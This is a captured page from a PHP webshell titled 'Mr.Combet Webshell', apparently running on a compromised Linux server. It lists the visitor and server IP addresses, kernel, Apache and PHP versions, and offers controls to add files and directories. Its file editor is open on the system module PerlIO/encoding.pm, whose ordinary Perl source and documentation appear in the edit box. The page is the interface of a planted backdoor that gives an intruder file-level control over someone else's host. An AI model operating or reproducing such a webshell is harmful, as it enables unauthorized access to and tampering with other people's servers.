Mr.Combet Webshell
Your IP :
3.146.255.211
Server IP :
185.136.159.155
Server :
Linux 185-136-159-155.cprapid.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software :
Apache
PHP Version :
8.1.29
Add File :
Submit
Add Directory :
Submit
Dir :
~
/
lib64
/
perl5
/
PerlIO
/
Edit File Name :
encoding.pm
package PerlIO::encoding; use strict; our $VERSION = '0.15'; our $DEBUG = 0; $DEBUG and warn __PACKAGE__, " called by ", join(", ", caller), "\n"; # # Equivalent of this is done in encoding.xs - do not uncomment. # # use Encode (); require XSLoader; XSLoader::load(); our $fallback = Encode::PERLQQ()|Encode::WARN_ON_ERR()|Encode::STOP_AT_PARTIAL(); 1; __END__ =head1 NAME PerlIO::encoding - encoding layer =head1 SYNOPSIS use PerlIO::encoding; open($f, "<:encoding(foo)", "infoo"); open($f, ">:encoding(bar)", "outbar"); use Encode qw(:fallbacks); $PerlIO::encoding::fallback = FB_PERLQQ; =head1 DESCRIPTION This PerlIO layer opens a filehandle with a transparent encoding filter. On input, it converts the bytes expected to be in the specified character set and encoding to Perl string data (Unicode and Perl's internal Unicode encoding, UTF-8). On output, it converts Perl string data into the specified character set and encoding. When the layer is pushed, the current value of C<$PerlIO::encoding::fallback> is saved and used as the CHECK argument when calling the Encode methods encode() and decode(). =head1 SEE ALSO L<open>, L<Encode>, L<perlfunc/binmode>, L<perluniintro> =cut
Save